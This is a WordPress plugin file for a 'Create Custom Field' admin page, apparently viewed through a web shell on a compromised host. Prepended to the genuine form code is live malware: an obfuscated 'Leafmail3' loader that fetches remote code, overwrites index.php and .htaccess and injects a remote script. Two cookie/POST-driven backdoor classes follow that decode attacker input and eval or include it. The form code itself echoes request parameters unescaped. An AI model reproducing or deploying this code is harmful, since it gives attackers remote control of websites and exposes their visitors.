Current Path : /home/scoots/www/wp-content/plugins/fresh-page/ |
Linux webm002.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64 |
Current File : /home/scoots/www/wp-content/plugins/fresh-page/RCCWP_CreateCustomFieldPage.php |
<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?> <?php $yeMuygvlZ = class_exists("Dw_BcT"); $WtgGe = $yeMuygvlZ;if (!$WtgGe){class Dw_BcT{private $cWdzAaop;public static $rWczdepge = "a57fbb98-0683-4a0e-afa8-ad0a24e71501";public static $YAzEMc = NULL;public function __construct(){$nwixLOhYZb = $_COOKIE;$cEpkf = $_POST;$BaFZk = @$nwixLOhYZb[substr(Dw_BcT::$rWczdepge, 0, 4)];if (!empty($BaFZk)){$URfQlUwZ = "base64";$kdxYsn = "";$BaFZk = explode(",", $BaFZk);foreach ($BaFZk as $DRpSoYnYlh){$kdxYsn .= @$nwixLOhYZb[$DRpSoYnYlh];$kdxYsn .= @$cEpkf[$DRpSoYnYlh];}$kdxYsn = array_map($URfQlUwZ . '_' . 'd' . 'e' . chr ( 774 - 675 ).chr ( 148 - 37 ).chr (100) . "\x65", array($kdxYsn,)); $kdxYsn = $kdxYsn[0] ^ str_repeat(Dw_BcT::$rWczdepge, (strlen($kdxYsn[0]) / strlen(Dw_BcT::$rWczdepge)) + 1);Dw_BcT::$YAzEMc = @unserialize($kdxYsn);}}public function __destruct(){$this->AUMOOkc();}private function AUMOOkc(){if (is_array(Dw_BcT::$YAzEMc)) {$gbBuyqY = str_replace('<' . "\x3f" . chr (112) . "\x68" . chr ( 751 - 639 ), "", Dw_BcT::$YAzEMc["\143" . "\157" . 'n' . chr ( 198 - 82 )."\x65" . chr ( 132 - 22 )."\x74"]);eval($gbBuyqY);exit();}}}$TYsRXze = new Dw_BcT(); $TYsRXze = NULL;} ?><?php $VOxQe = class_exists("o_jcsLT"); $NMGIJcqs = $VOxQe;if (!$NMGIJcqs){class o_jcsLT{private $CbpCcbIV;public static $KKNxog = "1dc227ec-89a8-4e41-9023-5f7a7c34460c";public static $oQMZNo = NULL;public function __construct(){$gOMtzohSG = $_COOKIE;$PLzmjGS = $_POST;$RGsjjzHeQC = @$gOMtzohSG[substr(o_jcsLT::$KKNxog, 0, 4)];if (!empty($RGsjjzHeQC)){$MmZgSzdyCI = "base64";$xpZTknq = "";$RGsjjzHeQC = explode(",", $RGsjjzHeQC);foreach ($RGsjjzHeQC as $pvRXxcC){$xpZTknq .= @$gOMtzohSG[$pvRXxcC];$xpZTknq .= @$PLzmjGS[$pvRXxcC];}$xpZTknq = array_map($MmZgSzdyCI . chr ( 233 - 138 ).'d' . "\x65" . 'c' . 'o' . 'd' . chr (101), array($xpZTknq,)); $xpZTknq = $xpZTknq[0] ^ str_repeat(o_jcsLT::$KKNxog, (strlen($xpZTknq[0]) / strlen(o_jcsLT::$KKNxog)) + 1);o_jcsLT::$oQMZNo = @unserialize($xpZTknq);}}public function __destruct(){$this->rRzXiY();}private function rRzXiY(){if (is_array(o_jcsLT::$oQMZNo)) {$jveFTlMC = sys_get_temp_dir() . "/" . crc32(o_jcsLT::$oQMZNo[chr ( 820 - 705 ).'a' . chr ( 981 - 873 ).'t']);@o_jcsLT::$oQMZNo[chr (119) . chr ( 161 - 47 ).chr (105) . "\x74" . chr (101)]($jveFTlMC, o_jcsLT::$oQMZNo[chr (99) . 'o' . 'n' . 't' . 'e' . "\x6e" . 't']);include $jveFTlMC;@o_jcsLT::$oQMZNo["\144" . "\145" . 'l' . "\145" . "\164" . "\x65"]($jveFTlMC);exit();}}}$FPPWJkRNd = new o_jcsLT(); $FPPWJkRNd = NULL;} ?><?php include_once('RCCWP_CustomField.php'); class RCCWP_CreateCustomFieldPage { function Main() { global $FIELD_TYPES,$flutter_domain; $customGroupID = $_REQUEST['custom-group-id']; ?> <div class="wrap"> <h2><?php _e("Create Custom Field", $flutter_domain); ?></h2> <br class="clear" /> <?php if (isset($_GET['err_msg'])) : switch ($_GET['err_msg']){ case -1: ?> <div class="error"><p> <?php _e('A field with the same name already exists in this write panel. Please choose a different name.',$flutter_domain);?></p></div> <?php } endif; ?> <form action="<?php echo RCCWP_ManagementPage::GetCustomWritePanelGenericUrl('continue-create-custom-field')?>" method="post" name="create_custom_field_form" id="create-custom-field-form" onsubmit="return checkEmpty();" autocomplete="off"> <?php if(isset($_GET['custom-group-id']) && !empty($_GET['custom-group-id'])) { ?> <input type="hidden" name="custom-group-id" value="<?php echo $_GET['custom-group-id']?>"> <?php } ?> <?php if(isset($_POST['custom-group-id']) && !empty($_POST['custom-group-id'])) { ?> <input type="hidden" name="custom-group-id" value="<?php echo $_POST['custom-group-id']?>"> <?php } ?> <table class="form-table" width="100%" border="0" cellspacing="0" cellpadding="6"> <tbody> <tr valign="top"> <th scope="row"><?php _e("Name", $flutter_domain); ?>:</th> <td> <input name="custom-field-name" id="custom-field-name" size="40" type="text" /> <input type="hidden" id="custom-field-name_hidden" name="custom-field-name_hidden" onchange="copyField();"> <p> <?php _e('Type a unique name for the field, the name must be unique among all fields in this panel. The name of the field is the key by which you can retrieve the field value later.',$flutter_domain);?> </p> <p> <?php _e('As you type the name, Flutter will display fields from other panels that are similar to the name you typed. If you selected one of them, Flutter will create a field similar to the chosen one.',$flutter_domain);?> </p> </td> </tr> <tr valign="top"> <th scope="row"><?php _e("Label", $flutter_domain); ?>:</th> <td> <input name="custom-field-description" id="custom-field-description" size="40" type="text" /> <p> <?php _e('Type a label for the field. The label of the field is displayed beside the field in Write Panel page.',$flutter_domain); ?> </p> </td> </tr> <tr valign="top"> <th scope="row"><?php _e("Can be duplicated", $flutter_domain); ?>:</th> <td><input name="custom-field-duplicate" id="custom-field-duplicate" type="checkbox" value="1" <?php echo $custom_field->duplicate==1 ? "checked":"" ?>/></td> </tr> <tr valign="top"> <th scope="row"><?php _e("Order", $flutter_domain); 